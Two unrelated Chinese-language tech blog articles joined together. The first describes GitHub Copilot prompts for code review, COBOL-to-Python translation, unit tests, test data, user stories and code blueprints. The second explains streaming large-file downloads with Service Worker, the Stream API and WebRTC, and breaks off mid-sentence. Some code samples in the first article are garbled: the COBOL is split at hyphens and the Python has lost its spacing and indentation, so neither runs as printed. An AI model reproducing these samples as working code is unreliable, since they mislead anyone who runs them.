2024年9月

大家好,我是Edison。

近期我们一直在使用GitHub Copilot协助开发编码工作,总结了一些实际场景的用法,可能在目前网络中很多的博客中都没有提及到,本文一一分享给你。

简介:你的结对编程伙伴

GitHub Copilot 是一款 AI 结对程序员,可帮助您更快、更少地编写代码。它从注释和代码中提取上下文,以立即建议单独的行和整个函数。GitHub Copilot 由 GitHub、OpenAI 和 Microsoft 开发的生成式 AI 模型(CodeX)提供支持。它可作为 Visual Studio Code、Visual Studio、Neovim 和 JetBrains 等集成开发环境 (IDE) 套件的扩展。

GitHub Copilot具备什么样的能力?

  • 自动创建函数、类、变量等代码结构

  • 自动填充代码块、方法、函数

  • 消除重复代码

  • 基于自然语言编写的注释,自动生成可执行代码

  • 对代码的语义进行理解和解读

对于像我一样的.NET程序员来说,我们主要使用Visual Studio 或 Visual Studio Code,你需要确保你的Visual Studio 2022版本在
17.10
即以上,然后即可安装GitHub Copilot扩展,十分方便!

这里,Edison使用的是公司的企业GitHub订阅账号登录使用的,你可以通过自行购买订阅,个人版是10美刀一个月,100美刀一年。

在实际使用中,代码补全(Code Completion) 和 内联对话(Inline Chat) 我用的比较多,但很多时候需要借助提示词工程(Prompt Engineering)的场景,我们会使用 对话窗口(Chat Window)更多一些,下面的场景也更多会使用对话窗口来实现。

好了,废话就不多说了,下面我们进入一些我所学习和实践到的一些实际场景,看看一些你可能在其他中文博客中没有见过的用法,
建议收藏

Code Review 代码审查

在实际使用中,借助Copilot来做Code Review是一件特别容易得事儿。而且
强烈建议在每个Team内部建立一个Code Review的标准提示词
,以便在每个成员的项目中可以使用同一个标准。
我们的实践是建了一个针对SDLC(软件开发生命周期)的提示词git仓库
,大家共享同一个仓库中的提示词,并可以及时做修改和完善做版本管理。

一个Code Review的Prompt示例,你只需要将需要进行Review的代码方法选中或将其所在文件保持打开的状态,然后将下面的prompt发给Copilot即可:

I would like you to code review this code. Can you offer me any suggestions on how I could improve it?Focus on:- Correcting security concerns inthe code.-Correction of code smells.- Offer advice on improving performance ifpossible.- Offer advice on improving code maintainability ifpossible.- Correct logical errors in code.

NOTE:
由于我们日常工作中使用英文较多,所以提示词也用的英文。不过,我会对这些提示词做一些解释,方便你理解。后续不再赘述,谢谢!

对于Code Review,最重要的就是告诉Copilot它需要关注哪些方面的内容,比如上面的prompt中我们告诉它需要关注代码安全风险、代码坏味道、可维护性、逻辑错误等等。你可以根据你团队的需要,更改这些关注点,以适配你团队项目的需求。

此外,在很多团队中,都建立了一些自己的代码标准规范的文档,我们也可以修改上面的prompt,让Copilot参考这个文档(比如markdown文件)给出Review建议,以符合团队之前就定义好的代码规范。

I would like you to code review this code in #editor to ensure it follows our team's coding standards in #file:Your-Team-Coding-Standard.md, 
adheres to security best practices, it well-documented, and is written to be maintainable and performant.

在上面的prompt中,我们使用了#file指令告诉Copilot需要参考的markdown文件(即已有的代码规范文档),这样Copilot会参考已有的规范文档侧重点给出更准确的建议。但是,准确度的保证是依赖于你的代码规范文档的内容是否严格按照markdown格式编写,以及内容的完整程度是否较好。

Code Translation 代码翻译/改写

在实际使用中,借助Copilot来做Code Translation(代码翻译)也很容易,比如在一些大型的金融企业,往往存在一些使用上古编程神器(如cobol)编写的系统,当你想把他们用高级编程语言来改写的话,使用Copilot来做翻译就会省下很多effort。

假设有一个csv-reader.cobol文件如下:

IDENTIFICATION DIVISION.
PROGRAM
-ID. CSV-READER.

DATA DIVISION.
FILE SECTION.
FD CSV
-FILE.01 CSV-RECORD.05 CSV-FIELD PIC X(100).

WORKING
-STORAGE SECTION.01 WS-EOF PIC X VALUE 'N' 01 WS-DELIMITER PIC X VALUE ','PROCEDURE DIVISION.
MAIN
-LOGIC.
OPEN INPUT CSV
-FILE.
PERFORM UNTIL WS
-EOF = 'Y'READ CSV-FILE
AT END MOVE
'Y' TO WS-EOF
NOT AT END DISPLAY CSV
-FIELD
END
-PERFORM
CLOSE CSV
-FILE.
STOP RUN.

我们只需要简单地告诉Copilot:

Can you convert this code into Python for me?

它就会快速地用Python实现对应cobol代码:

importcsvdefmain():#Open the CSV file
    with open('csv_file.csv', mode='r', newline='') as csvfile:
csv_reader
=csv.reader(csvfile)#Read and display each row in the CSV file for row incsv_reader:print(','.join(row))if __name__ == "__main__":
main()

举一反三:假设你有一个Angular写的前端组件,想用React来改写,也只需要告诉Copilot即可,例如:

Can you show me how to rewrite the Angular components #file:settings.component.html using React?

需要注意的就是使用#file指令告诉Copilot你需要改写的组件代码作为上下文。

Unit Test 单元测试

编写单元测试可能是我们使用Copilot干的最多的事儿了!如果你的应用是
基于面向接口的设计原则实现的
,并且
所有依赖的对象都是可以Mock的
,那么我们分享一个在Copilot中的prompt模版给你,你可以根据这个模板来改写其中的一些规则来适配你的项目需要:

Please help to write unit tests for the method {methodName} in #attachFile, and its reference interfaces are #attachFiles.      
Please follow the rules below:
1. Follow "MethodName_TestScenario_ExpectedResult" naming standard. 
2. Please use Arrange-Act-Assert mode in your code.
3. Please take the catch part code into consideration if there's try-catch in the method.
4. Please use MockPackage in your code, you can study it from #XXXXServiceTests.
5. Please use xUnit and Moq as default test frameworks in your code.
6. Please use Errors.Code.Name to compare in assert code if there's a custom exception, for example Assert.Equal(Errors.Common.UnexpectedException.Name, result.ErrorMessage.Name);
7. Don't need to explain any code, just write the code directly. If there's some issues, user will give you feedback.

这个prompt指定了需要Copilot为哪个file中的哪个方法些单元测试,还告诉了这个方法依赖的接口定义是哪些,这就给Copilot提供了一个上下文。同时,通过指定7个规则,让Copilot知道它的输出会有什么样的约束条件,比如使用xUnit和Moq框架、使用Arrange-Act-Assert的模式、使用“方法名_测试场景_测试结果”的命名规范 等等。你完全可以根据你自己的需要,改写其中一些你不需要的规则 或者 增加一些你需要的规则!

Test Data 测试数据生成

在做系统的自动化测试 或 集成测试时,我们往往都需要先生成一些测试数据,这个生成的过程其实也比较原始。有了Copilot之后,我们也可以让它来帮我们做这个事儿。

比如,让Copilot迅速生成一个csv的测试数据集:

I'd like some test data for my music collection management library, can you generate a CSV containing 10 Hip Hop Artists.
Include the following Columns: Name, Album, Year of Release.

那么,Copilot会生成一个csv格式的数据如下所示:

Name,Album,Year of Release
Kendrick Lamar,good kid, m.A.A.d city,2012
J. Cole,2014 Forest Hills Drive,2014
Drake,Take Care,2011
Kanye West,The College Dropout,2004
Nas,Illmatic,1994
Jay-Z,The Blueprint,2001
Eminem,The Marshall Mathers LP,2000
OutKast,Stankonia,2000
A Tribe Called Quest,The Low End Theory,1991
Wu-Tang Clan,Enter the Wu-Tang (36 Chambers),1993

又如,让Copilot迅速生成一些SQL脚本用于INSERT测试数据:

I'd like some test data for my music collection management library, can you generate a sql file containing 10 MSSQL Insert statements of Hip Hop Artists.
Include the following Columns: Name, Album, Year of Release.

那么,Copilot则会生成一些INSERT语句让你可以快速插入数据表:

INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Kendrick Lamar', 'good kid, m.A.A.d city', 2012);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('J. Cole', '2014 Forest Hills Drive', 2014);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Drake', 'Take Care', 2011);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Kanye West', 'The College Dropout', 2004);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Nas', 'Illmatic', 1994);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Jay-Z', 'The Blueprint', 2001);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Eminem', 'The Marshall Mathers LP', 2000);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('OutKast', 'Stankonia', 2000);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('A Tribe Called Quest', 'The Low End Theory', 1991);
INSERT INTO MusicCollection (Name, Album, YearOfRelease) VALUES ('Wu-Tang Clan', 'Enter the Wu-Tang (36 Chambers)', 1993);

Terminal Commands 命令行辅助生成

在做一些小的系统运维的任务时,通常会需要使用到类似PowerShell这样的命令行工具,但不是每个人都对Powershell比较熟悉。

有了Copilot之后,我们就可以借助Copilot在Visual Studio Code中的集成,来快速使用Copilot帮我们生成对应的命令,例如我想要一个快速找到当前目录中所有以.md结尾的markdown文件的命令,我可以直接在VS Code中的Terminal中直接以Inline Chat的方式快速提问:

User Story & Tasks 用户故事及任务生成

对于一些新手的Product Owner或者没有IT技术背景的朋友在承担Product Owner或者Business Analyst角色的工作时,编写用户故事和拆分任务是一件具有较大挑战的事情。

有了Copilot之后,我们或许也可以借助Copilot来帮我们生成初稿。例如,假设你是一个Product Owner,你有一个了解到的feature(功能)是给某个电商系统做一个购物车的功能,你可以这样告诉Copilot让它给你一个初稿,逐步完善:

I'm working on a feature for a shopping cart in an e-commerce application. 
The feature should allow users to add items to their shopping cart, view the items in their cart, and remove items from their cart. 
The shopping cart should keep track of the total cost of all items in the cart. 
Can you provide me with a user story and associated tasks for this feature?

这时,Copilot可能会给你一个如下所示的初稿,有模有样的:


User Story
Title: Shopping Cart Management

As a user of the e-commerce application,
I want to manage my shopping cart by adding, viewing, and removing items,
so that I can keep track of the items I intend to purchase and their total cost.

Associated Tasks
Add Items to Cart

Task: Create a function to add items to the shopping cart.
Sub-tasks:
Define the data structure for the shopping cart.
Implement the logic to add an item to the cart.
Update the total cost of the cart when an item is added.
Validate that the item being added exists and has sufficient stock.
View Items in Cart

Task: Create a function to view items in the shopping cart.
Sub-tasks:
Implement the logic to retrieve and display all items in the cart.
Display the total cost of the items in the cart.
Ensure the cart view updates dynamically as items are added or removed.
Remove Items from Cart

Task: Create a function to remove items from the shopping cart.
Sub-tasks:
Implement the logic to remove an item from the cart.
Update the total cost of the cart when an item is removed.
Validate that the item being removed is in the cart.
Calculate Total Cost

Task: Ensure the shopping cart keeps track of the total cost of all items.
Sub-tasks:
Implement the logic to calculate the total cost when items are added or removed.
Display the total cost in the cart view.
Ensure the total cost is accurate and updates correctly.
Testing

Task: Write unit tests for all shopping cart functionalities.
Sub-tasks:
Test adding items to the cart.
Test viewing items in the cart.
Test removing items from the cart.
Test the accuracy of the total cost calculation.
Error Handling

Task: Implement error handling for shopping cart operations.
Sub-tasks:
Handle cases where an item to be added does not exist or is out of stock.
Handle cases where an item to be removed is not in the cart.
Display appropriate error messages to the user.
Acceptance Criteria
Users can add items to their shopping cart.
Users can view all items in their shopping cart along with the total cost.
Users can remove items from their shopping cart.
The total cost of the shopping cart is accurately calculated and displayed.
All functionalities are covered by unit tests.
Appropriate error messages are displayed for invalid operations.

View Code

如果你想的是BDD(行为驱动开发)风格的描述,也可以给到Copilot反馈:


BDD Syntax for Shopping Cart Feature
Feature: Shopping Cart Management
As a user of the e-commerce application,
I want to manage my shopping cart by adding, viewing, and removing items,
so that I can keep track of the items I intend to purchase and their total cost.

Scenario: Add Items to Cart
Given I am on the product page,
When I click the "Add to Cart" button for a product,
Then the product should be added to my shopping cart,
And the total cost of the cart should be updated.

Scenario: View Items in Cart
Given I have items in my shopping cart,
When I navigate to the shopping cart page,
Then I should see a list of all items in my cart,
And I should see the total cost of the items in my cart.

Scenario: Remove Items from Cart
Given I have items in my shopping cart,
When I click the "Remove" button for an item,
Then the item should be removed from my shopping cart,
And the total cost of the cart should be updated.

Scenario: Calculate Total Cost
Given I have items in my shopping cart,
When I add or remove items from the cart,
Then the total cost of the cart should be accurately calculated and displayed.

Scenario: Handle Adding Non-Existent or Out-of-Stock Items
Given I am on the product page,
When I try to add a non-existent or out-of-stock item to the cart,
Then I should see an error message indicating the item cannot be added.

Scenario: Handle Removing Non-Existent Items from Cart
Given I am on the shopping cart page,
When I try to remove an item that is not in the cart,
Then I should see an error message indicating the item cannot be removed.

Scenario: Display Error Messages for Invalid Operations
Given I perform an invalid operation on the shopping cart,
When the operation fails,
Then I should see an appropriate error message explaining the failure.

View Code

Code Blueprints 代码蓝图

当有了User Story 和 Task 后,我们开发者可能会先做一定的设计,有了一个初步的规划,同时结合已有代码的相关规范和风格,我们就可以开始编码了。

而有了Copilot之后,简单一点的重复性开发编码工作,或许就可以丢给Copilot来实现。这个场景中,我们把自己定义为Senior Developer,而把Copilot看成自己的小弟(Junior Developer),你在现实场景是如何指导小弟给你分担开发任务的,是不是也需要一步一步告诉他详细的需求 和 参考代码,那么,对待Copilot,你也需要像这个样子!

这里,分享一个所谓的Code Blueprints的模式,通过User Story, Code Standards 以及 最后的Prompt 三位一体,来让Copilot帮我们快速实现一个功能原型。

首先,将User Story文件(假定为user-story.md)也放到解决方案中,建议放到Git仓库中的Document文档目录中。这里主要是把Goals(目标)说清楚,这一步很重要!

# Story Description
As a user of my web application, I want to be able to register with my email address and a password. My username will be my email address. The username and password should be persisited to my database so that I can login once I have successfully confirmed my email address is active.  

## Goals
1. A new API for the users registration should be created in a Controller called UsersController. Logic should be kept out of the UsersController.  
2. The Controller should use IOperationExecutor to send a request object and receive a response.  
3. The API should have a method called Register that takes in the following object:  
```
{
    "userName": {SomeUsername},
    "password": {password}
}
```
4. Password should be encrypted using BCrypt before being saved to the database dbo.  
5. All data access should occur within a repository layer, and Entity Framework should be used.  
6. The dbo.Users table should be checked to make sure the userName is unique before added.  
7. Username and password are required fields.  
8. dbo.Users table has the following structure:  
```
UserId: int PK
UserName: varchar(50)
Password: varchar(50)
DateAdded: Today's date.
```

其次,编写一个blueprint文件(假定为blueprints-api.md),把API任务需要参考的代码标准 和 已有代码参考示例 定义清楚,如下所示:

# Outline
This blueprint describes the patterns that should be followed when generating a new API and the corresponding business Operation.

## Standards
1. New Controllers should be named appropriately to describe the business process.  
2. Controller should be named using pluralized nouns.  
3. API methods in Controllers should be named using nouns.  
4. Controllers and methods should have block level comments.  
5. The Controllers should use IOperationExecutor to send a request object and receive a response.  
6. Request objects should implement IRequest<T>, where T is the response object type.  
7. Database data access should be done using Entity Framework in a Repository.  
8. FluentValidation should be used to generate validation rules for all request objects.  
9. Provide examples of DI registration changes needed in Startup.cs for new dependencies.  

## Coding Standards
Use the following files as example for how you should generate this code:  
- [./References/MoviesController.cs](MovieController.cs)
- [./References/CreateMovieHandler.cs](CreateMovieHandler.cs)
- [./References/CreateMovieRequest.cs](CreateMovieRequest.cs)
- [./References/CreateMovieResponse.cs](CreateMovieResponse.cs)
- [./References/CreateMovieRequestValidator.cs](CreateMovieRequestValidator.cs)
- [./References/MovieRepository.cs](MovieRepository.cs)
- [./References/IMovieRepository.cs](IMovieRepository.cs)

在实际场景中,建议将各自开发模板中的典型代码整理一下,形成一个给Copilot参考学习的最小文件夹目录。

最后,编写prompt,并将这个prompt最终发给Copilot:

Please generate the code that satisfies the goals in #file:user-story.md using the #file:blueprints-api.md as a guide.

可以看到由于前期的工作(user-story 和 blueprint-api)比较充分,在prompt阶段就只需要指明参考这两个文件(以user-story.md为准满足其定义的目标,以blueprint-api.md为准满足其定义的规范和风格要求)去生成code就行了。

小结

本文简单介绍了GitHub Copilot在Edison所在公司的一些实际应用场景,在对开发者的辅助方面起到了一些实质性的帮助,特别是Code Review 和 Unit Test方面,已经是完全采纳Copilot生成的代码作为单元测试了。

相信,随着使用的深入,我们会总结更多地实际场景案例模板,以帮助我们所在团队的开发者得到更大的解放,从而可以更多参与到AI Agent的转型探索之中。

本文工具

本文示例工具:
Visual Studio & Visual Studio Code
+
GitHub Copilot

基于Service Worker实现WebRTC局域网大文件传输能力

Service Worker
是一种驻留在用户浏览器后台的脚本,能够拦截和处理网络请求,从而实现丰富的离线体验、缓存管理和网络效率优化。请求拦截是其关键功能之一,通过监听
fetch
事件,
Service Worker
可以捕获所有向网络发出的请求,并有选择地处理这些请求,例如从缓存中读取响应,或者对请求进行修改和重定向,进而实现可靠的离线浏览和更快速的内容加载。

描述

在前段时间,在群里看到有人提了一个问题,在从对象存储下载文件的时候,为什么实现了携带了一个
GitHub Pages
的地址,理论上而言我们从对象存储下载内容直接点连接就好了,然而这里竟然看起来似乎还有一个中间环节,像是需要被
GitHub Pages
拦截并中转才下载到本地,链接地址类似于下面的内容。此时如果我们在下载页面点击下载后,再打开浏览器的下载管理功能,可以发现下载地址实际上会变成一个更加奇怪的地址,而这个地址我们实际上直接在浏览器打开会响应
404

<!-- 下载页面 -->
https://jimmywarting.github.io/StreamSaver.js/examples/saving-a-blob.html

<!-- 浏览器下载管理 -->
https://jimmywarting.github.io/StreamSaver.js/jimmywarting.github.io/712864/sample.txt

从链接中我们可以明显地看出这里是使用了
StreamSaver.js
来作为下载文件的中间环节,从
README
中我们可以看出
StreamSaver.js
是基于
ServiceWorker
的大文件下载方案。于是前段时间有时间将其实现研究了一番,通常我们需要调度文件下载时,可能会直接通过
<a />
标签在浏览器中直接打开目标链接便可以开始下载,然而这种方式有比较明显的三个问题:

  • 如果直接打开的资源是图片、视频等浏览器能够直接解析的资源,那么此时浏览器不会触发下载行为,而是会直接在浏览器中预览打开的资源,即默认的
    Content-Disposition
    值是
    inline
    ,不会触发值为
    attachment
    的下载行为。当然,使用
    <a />
    标签的
    download
    可以解决这个问题,然而这个属性只有在同源
    URL

    blob:

    data:
    协议下才会生效。
  • 如果我们上传到对象存储的文件存在重名资源的问题,那么为了防止文件被覆盖,我们可能会随机生成资源名或者在资源后面加上时间戳,甚至直接将文件名生成不带扩展名的
    HASH
    值。那么在文件下载的时候,我们就需要将文件名实际还原回来,然而这个过程仍然需要依赖响应的
    attachment; filename=
    ,或者
    <a />
    标签的
    download
    属性来重命名文件。
  • 如果我们请求的资源是需要校验权限才能正常下载,那么直接使用
    <a />
    标签进行资源请求的时候则仅仅是发起了
    GET
    请求,而且将密钥放置于请求的链接地址上显然是做不到真正的权限校验的。当然通过签发临时的
    Token
    并返回
    GET
    请求地址当然是可行的,但如果涉及到更复杂一些的权限控制以及审计追踪时,生成临时下载链接可能并不足以做到高安全性的要求,类似的问题在
    EventSource
    对象实现的
    SSE
    中更加明显。

而在我们的项目中,恰好存在这样的历史遗留问题,我们的资源文件都会存储在
OSS-Object Storage Service
对象存储中,并且为了防止资源重名的问题,默认的资源策略是完全不携带文件的扩展名,而是直接将文件名生成
HASH
值,而且由于域名是基建自带的
CDN
加速域名,不能通过配置
CNAME
来定义为我们站点的域名,也就是说我们的资源必然存在跨域的问题,这就相当于把所有的限制都触及到了。

那么在这种情况下,我们是需要将文件重命名为原本的资源名称的,毕竟在不存在扩展名的情况下操作系统不能识别出文件内容,而我们的
CDN
资源是不存在
Content-Disposition
响应头以及原始资源名称的,而且文件也不是同域名下的资源。在这种情况下我们需要实现跨域情况下的资源重命名,由此来支持用户的下载行为,所以我们在这里采取的方案是首先使用
fetch
将文件下载到内存,然后通过
createObjectURL
将其创建为
blob:
协议的资源,由此来支持
<a />
标签的
download
属性。

通过这种方式下载文件则又出现了另一个问题,将文件全部下载后都存在内存中可能会存在
OOM
的现象,对于现代浏览器来说并没有非常明确的单个
Tab
页的内存限制,而是根据系统资源动态分配的,但是只要在内存中下载足够大的文件,还是会触发
OOM
导致浏览器页面崩溃。那么在这种情况下,通过将
Service Worker
作为中间人拦截下载请求,并且在响应的
Header
中加入
Content-Disposition
来支持文件重命名,并且可以通过
Stream API
来实现流式的下载行为,由此避免全部将文件下载到内存当中。总结来说,在这里我们通过这种方式解决了两个问题:

  • 跨域资源的下载,通过劫持请求并增加相应头的方式,解决了跨域资源的重命名问题,并以此来直接调度浏览器
    IO
    来实现下载。
  • 避免内存溢出问题,通过
    Stream API

    fetch
    请求的数据分片写入文件,以此来做到流式下载,避免将文件全部写入到内存中。

那么除了在对象存储下载文件之外,这种数据处理方式还有很多应用场景,例如我们需要批量下载文件并且压缩时,可以主动
fetch
后通过
ReadableStream
读,并且
pipe
到类似压缩的实现中,例如
zlib.createDeflateRaw
的浏览器方案,再
pipe

WritableStream
中类似
FileSystemFileHandle.createWritable
以此来实时写入文件,这样就可以做到高效的文件读写,而不需要将其全部持有在内存中。

恰好在先前我们
基于WebRTC实现了局域网文件传输
,而通过
WebRTC
传输的文件也会同样需要面对大文件传输的问题,并且由于其本身并不是
HTTP
协议,自然就不可能携带
Content-Disposition
等响应头。这样我们的大文件传输就必须要借助中间人的方式进行拦截,此时我们通过模拟
HTTP
请求的方式来生成虚拟的下载链接,并且由于本身就是分片传输,我们可以很轻松地借助
Stream API
来实现流式下载能力。那么本文就以
WebRTC
的文件传输为基础,来实现基于
Service Worker
的大文件传输方案,文中的相关实现都在
https://github.com/WindrunnerMax/FileTransfer
中。

Stream API

浏览器实现的
Stream API
中存在
ReadableStream

WritableStream

TransformStream
三种流类型,其中
ReadableStream
用以表示可读的流,
WritableStream
用以表示可写的流,而
TransformStream
用以表示可读写的流。由于在浏览器中
Stream
的实现时间与机制并不相同,
ReadableStream
的兼容性与
Fetch API
基本一致,而
WritableStream

TransformStream
的兼容性则相对稍差一点。

数据流动

在最开始接触
Stream API
的时候,我难以理解整个管道的数据流,针对于缓冲区以及背压等问题本身是不难理解的,但是在实际将
Stream
应用的时候,我发现并不能理解整个流的模型的数据流动方向。在我的理解中,整个管道应该是以
WritableStream
起始用以写入/生产数据,而后继的管道则应该使用
ReadableStream
来读取/消费数据,而整个连接过程则可以通过
pipeTo
链接起来。

const writable = new WritableStream();
const readable = new ReadableStream();
writable.pipeTo(readable); // TypeError: writable.pipeTo is not a function
const writer = writable.getWriter();
const reader = readable.getReader();
// ...
writer.write("xxx");
reader.read().then(({ value, done }) => {
  console.log(value, done);
});

当然这是个错误的示例,针对于流的理解我们应该参考
Node.js

Stream
模块,以
node:fs

createReadStream

createWriteStream
为例,我们会更容易理解整个模型。我们的
Stream
模型是以
ReadableStream
为起始,即数据生产是以
Node.js
本身的
IO
为基础的读取文件,将内容写入到
ReadableStream
中,而我们作为数据处理者,则是在其本身的事件中进行数据处理,进而将处理后的数据写入
WritableStream
来消费,即后继的管道是以
WritableStream
为终点。

const fs = require("node:fs");
const path = require("node:path");

const sourceFilePath = path.resolve("./source.txt");
const destFilePath = path.join("./destination.txt");
const readStream = fs.createReadStream(sourceFilePath, { encoding: "UTF-8" });
const writeStream = fs.createWriteStream(destFilePath, { encoding: "UTF-8" });

readStream.on("data", chunk => {
  writeStream.write(chunk);
});
readStream.on("end", () => {
  writeStream.end();
});

那么在浏览器中,我们的
Stream API
同样是以
ReadableStream
为起始,
Fetch API

Response.body
就是很好的示例,数据的起始同样是以
IO
为基础的网络请求。在浏览器中我们的
ReadableStream

API

Node.js
本身还是有些不同的,例如在浏览器
ReadableStream

Reader
并不存在类似
on("data", () => null)
的事件监听,而前边的例子只是为了让我们更好地理解整个流模型,在这里我们当然是以浏览器的
API
为主。

聊了这么多关于
Stream API
的问题,我们回到针对于
WebRTC
传递的数据实现,针对于类似
Fetch
的数据传输,是借助浏览器本身的
IO
来控制
ReadableStream
的数据生产,而我们的
WebRTC
仅仅是传输通道,因此在管道的初始数据生产时,
ReadableStream
是需要我们自己来控制的,因此我们最开始想到的
Writable -> Readable
方式,则是为了适应这部分实现。而实际上这种方式实际上更契合于
TransformStream
的模型,其本身的能力是对数据流进行转换,而我们同样可以借助
TransformStream
来实现流的读写。

const transformStream = new TransformStream<number, number>({
  transform(chunk, controller) {
    controller.enqueue(chunk + 1);
  },
});
const writer = transformStream.writable.getWriter();
const reader = transformStream.readable.getReader();
const process = (res: { value?: number; done: boolean }) => {
  const { value, done } = res;
  console.log(value, done);
  if (done) return;
  reader.read().then(process);
};
reader.read().then(process);
writer.write(1);
writer.write(2);
writer.close();

那么在这里我们就可以实现对于
ReadableStream
的数据处理,在基于
WebRTC
的数据传输实现中,我们可以获取到
DataChannel
的数据流本身,那么此时我们就可以通过
ReadableStream

Controller
来向缓冲队列中置入数据,以此来实现数据的写入,而后续的数据消费则可以使用
ReadableStream

Reader
来实现,这样我们就可以借助缓冲队列实现流式的数据传输。

const readable = new ReadableStream<number>({
  start(controller) {
    controller.enqueue(1);
    controller.enqueue(2);
    controller.close();
  },
});
const reader = readable.getReader();
const process = (res: { value?: number; done: boolean }) => {
  const { value, done } = res;
  console.log(value, done);
  if (done) return;
  reader.read().then(process);
};
reader.read().then(process);

背压问题

那么在这里我们可以思考一个问题,如果此时我们的
DataChannel
的数据流的传输速度非常快,也就是不断地将数据
enqueue
到队列当中,而假如此时我们的消费速度非常慢,例如我们的硬盘写入速度比较慢,那么数据的队列就会不断增长,那么就可能导致内存溢出。实际上这个问题有专业的术语来描述,即
Back Pressure
背压问题,在
ReadableStream
中我们可以通过
controller.desiredSize
来获取当前队列的大小,以此来控制数据的生产速度,以此来避免数据的积压。

const readable = new ReadableStream<number>({
  start(controller) {
    console.log(controller.desiredSize); // 1
    controller.enqueue(1);
    console.log(controller.desiredSize); // 0
    controller.enqueue(2);
    console.log(controller.desiredSize); // -1
    controller.close();
  }
});

而对于背压问题, 我们可以很简单地理解到,当我们的数据生产速度大于数据消费速度时,就会导致数据的积压,那么针对于
ReadableStream

WritableStream
,我们可以分别得到相关的排队策略,实际上我们也能够很容易理解到背压所谓的压力都是来自于缓冲队列中未消费的块,当然我们也可以预设比较大的缓冲队列长度,只不过这样虽然避免了
desiredSize
为负值,但是并不能解决背压问题。

  • 对于
    ReadableStream
    ,背压来自于已入队但尚未读取的块。
  • 对于
    WritableStream
    ,背压来自于已写入但尚未由底层接收器处理的块。

而在先前的
ReadableStream
实现中,我们可以很明显地看到其本身并没有携带背压的默认处理机制,即使我们可以通过
desiredSize
来判断当前内置队列的压力,但是我们并不能很明确地反馈数据的生产速度,我们更希望基于事件驱动来控制而不是类似于
setTimeout
来轮训检查,当然我们也可以通过
pull
方法来被动控制队列的数据量。而在
WritableStream
中则存在内置的背压处理方法即
writer.ready
,通过这个方法我们可以判断当前队列的压力,以此来控制数据的生产速度。

(async () => {
  const writable = new WritableStream();
  const writer = writable.getWriter();
  await writer.write(1);
  await writer.write(1);
  await writer.write(1);
  console.log("written"); // written
  await writer.ready;
  await writer.write(1);
  console.log("written"); // Nil
})();

因此在我们的
WebRTC
数据传输中,为了方便地处理背压问题,我们是通过
TransformStream

writable
端来实现数据的写入,而消费则是通过
readable
端来实现的,这样我们就可以很好地控制数据的生产速度,并且可以在主线程中将
TransformStream
定义后,将
readable
端通过
postMessage
将其作为
Transferable Object
传递到
Service Worker
中消费即可。

// packages/webrtc/client/worker/event.ts
export class WorkerEvent {
  public static start(fileId: string, fileName: string, fileSize: number, fileTotal: number) {
    const ts = new TransformStream();
    WorkerEvent.channel.port1.postMessage(
      {
        key: MESSAGE_TYPE.TRANSFER_START,
        id: fileId,
        readable: ts.readable,
      } as MessageType,
      [ts.readable]
    );
  }

  public static async post(fileId: string, data: ArrayBuffer) {
    const writer = WorkerEvent.writer.get(fileId);
    if (!writer) return void 0;
    await writer.ready;
    return writer.write(new Uint8Array(data));
  }

  public static close(fileId: string) {
    WorkerEvent.channel?.port1.postMessage({
      key: MESSAGE_TYPE.TRANSFER_CLOSE,
      id: fileId,
    } as MessageType);
    const writer = WorkerEvent.writer.get(fileId);
    writer?.close();
  }
}

Fetch


Fetch API

Response
对象中,存在
Response.body
属性用以获取响应的
ReadableStream
,与上述对象一致同样用以表示可读的流。通过这个接口我们可以实现流式的读取数据,而不需要一次性将所有数据读取到内存中,以此来渐进式地处理数据,例如在使用
fetch
实现
SSE - Server-Sent Events
的响应时,便可以通过维持长链接配合
ReadableStream
来实现数据的响应。

针对于
Fetch
方法,在接触
Stream API
之前我们可能主要的处理方式是调用
res.json()
等方法来读取数据,实际上这些方法同样会在其内部实现中隐式调用
ReadableStream.getReader()
来读取数据。而在
Stream API
出现之前,如果我们想要处理某种资源例如视频、文本文件等,我们必须下载整个文件,等待它反序列化为合适的格式,然后直接处理所有数据。

因此在先前调研
StreamSaver.js
时,我比较费解的一个问题就是,既然我们请求的数据依然是需要从全部下载到内存中,那么在这种情况下我们使用
StreamSaver.js
依然无法做到流式地将数据写入硬盘,依然会存在浏览器
Tab
页的内存溢出问题。而在了解到
Fetch API

Response.body
属性后,关于整个流的处理方式就变得清晰了,我们可以不断地调用
read()
方法将数据传递到
Service Worker
调度下载即可。

因此调度文件下载的方式大概与上述的
WebRTC
传输方式类似,在我们已经完成劫持数据请求的中间人
Service Worker
之后,我们只需要在主线程部分发起
fetch
请求,然后在响应数据时通过
Iframe
发起劫持的下载请求,然后通过
Response.body.getReader()
分片读取数据,并且不断将其写入到
TransformStream

Writer
中即可,此外我们还可以实现一些诸如下载进度之类的效果。

const fileId = "xxxxxx";
const worker = await navigator.serviceWorker.getRegistration("./");
const channel = new MessageChannel();
worker.active.postMessage({ type: "INIT_CHANNEL" }, [channel.port2]);
const ts = new TransformStream();
channel.port1.postMessage(
  { key: "TRANSFER_START", id: fileId, readable: ts.readable, },
  [ts.readable]
);
 const src = `/${fileId}` + `?X-File-Id=${fileId}` +
      `&X-File-Size=42373` + `&X-File-Total=1` + `&X-File-Name=favicon.ico`;
const iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.src = src;
iframe.id = fileId;
document.body.appendChild(iframe);
const writer = ts.writable.getWriter();
fetch("./favicon.ico").then(res => {
  const reader = res.body.getReader();
  const process = (res) => {
    const { value, done } = res;
    if (done) {
      writer.close();
      return;
    }
    writer.write(value);
    reader.read().then(process);
  };
  reader.read().then(process);
});

Service Worker

Service Worker
作为一种运行在后台的独立线程,具备充当网络请求中间人的能力,能够拦截、修改甚至完全替换网络请求和响应,从而实现高级功能如缓存管理、提升性能、离线访问、以及对请求进行细粒度的控制和优化。在这里我们就可以借助
Service Worker
为我们的请求响应加入
Content-Disposition
等响应头,以此来触发浏览器的下载能力,借助浏览器的
IO
实现大文件的下载。

环境搭建

在通过
Service Worker
实现中间人拦截网络请求之前,我们可以先看一下在
Service Worker
中搭建
TS
环境以及
Webpack
的配置。我们平时
TS
